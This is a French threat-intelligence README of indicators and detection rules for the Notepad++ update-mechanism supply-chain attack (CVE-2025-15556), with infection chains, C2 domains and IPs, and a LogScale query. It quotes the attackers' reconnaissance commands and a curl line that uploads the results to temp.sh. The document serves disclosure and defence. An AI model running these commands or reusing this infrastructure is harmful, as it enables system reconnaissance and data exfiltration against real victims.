
Indicateurs de compromission et règles de détection pour l'attaque de la chaîne d'approvisionnement de Notepad++ (CVE-2025-15556) — Lotus Blossom APT, juin–décembre 2025. Comprend des requêtes Falcon LogScale, des règles YARA/Sigma et la cartographie MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Juin – Décembre 2025
Ce dépôt contient une collection complète et consolidée d'indicateurs de compromission (IoC) liée à l'attaque sur la chaîne d'approvisionnement de Notepad++ divulguée le 2 février 2026.
Entre juin et décembre 2025, un acteur malveillant parrainé par l'État chinois a compromis l'infrastructure d'hébergement de Notepad++, détournant le mécanisme de mise à jour intégré (WinGUp) pour distribuer sélectivement des installateurs trojanisés à des utilisateurs ciblés. L'attaque a exploité l'absence de vérification cryptographique dans le programme de mise à jour (avant la v8.8.9), permettant la distribution de portes dérobées personnalisées, de Cobalt Strike Beacons et de charges utiles Metasploit.
| CVE | CVE-2025-15556 — Téléchargement de code sans vérification d'intégrité |
| Acteur malveillant | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Période active | Juin 2025 – 2 décembre 2025 |
| Vecteur d'attaque | Compromission de la chaîne d'approvisionnement via le mécanisme de mise à jour automatique WinGUp |
| Cibles | Gouvernement, télécommunications, services financiers, fournisseurs informatiques (Philippines, Vietnam, Salvador, Australie, Asie de l'Est) |
| Logiciels malveillants | Porte dérobée Chrysalis (personnalisée), Cobalt Strike Beacon, Metasploit Meterpreter |
| Corrigé dans | Notepad++ v8.8.9+ (vérification de certificat) / v8.9.1+ (validation XMLDSig) |
Kaspersky GReAT a identifié trois chaînes d'infection distinctes, changées environ mensuellement pour échapper à la détection :
GUP.exe → update.exe (NSIS) → ProShow.exe (légitime) → exploitation via fichier "load"
→ téléchargeur Metasploit → Cobalt Strike Beacon
whoami && tasklist → exfiltrée via temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (interpréteur Lua) → alien.ini (Lua compilé)
→ shellcode via EnumWindowStationsW → téléchargeur Metasploit → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (légitime) → log.dll (sideloadé)
→ déchiffre le shellcode "BluetoothService" → porte dérobée Chrysalis
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ CHRONOLOGIE DE LA COMPROMISSION │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Juil25 │ Août25 │ Sept25 │ Oct25 │ Nov25 │Déc25 │
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chaîne 1 (ProShow) │████████████████████ │
Chaîne 2 (Lua) │ █████████████████████████████ │
Chaîne 3 (DLL SL) │ ██████████████ │
Accès infra │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| Fichier | Description |
|---|---|
notepadpp_supply_chain_iocs.csv | Jeu de données complet des IoC (105 indicateurs) avec cartographie MITRE ATT&CK |
| Colonne | Description |
|---|---|
ioc_type | Type : ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | La valeur de l'indicateur |
chain | Chaîne d'infection (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Description de ce que représente l'IoC |
source | Source de renseignement (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Sévérité (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | Identifiant de technique MITRE ATT&CK |
Comportementaux — indépendants des IoC, valeur la plus élevée :
gup.exe générant tout processus enfant autre qu'un installateur légitime signé de Notepad++gup.exe se connectant à des domaines/IP autres que notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (runtime NSIS — présent dans toutes les chaînes)Réseau — haute confiance :
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — particulièrement avec téléchargement de fichier via curltemp.sh intégrées dans l'en-tête User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Commandes de reconnaissance (post-exploitation) :
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])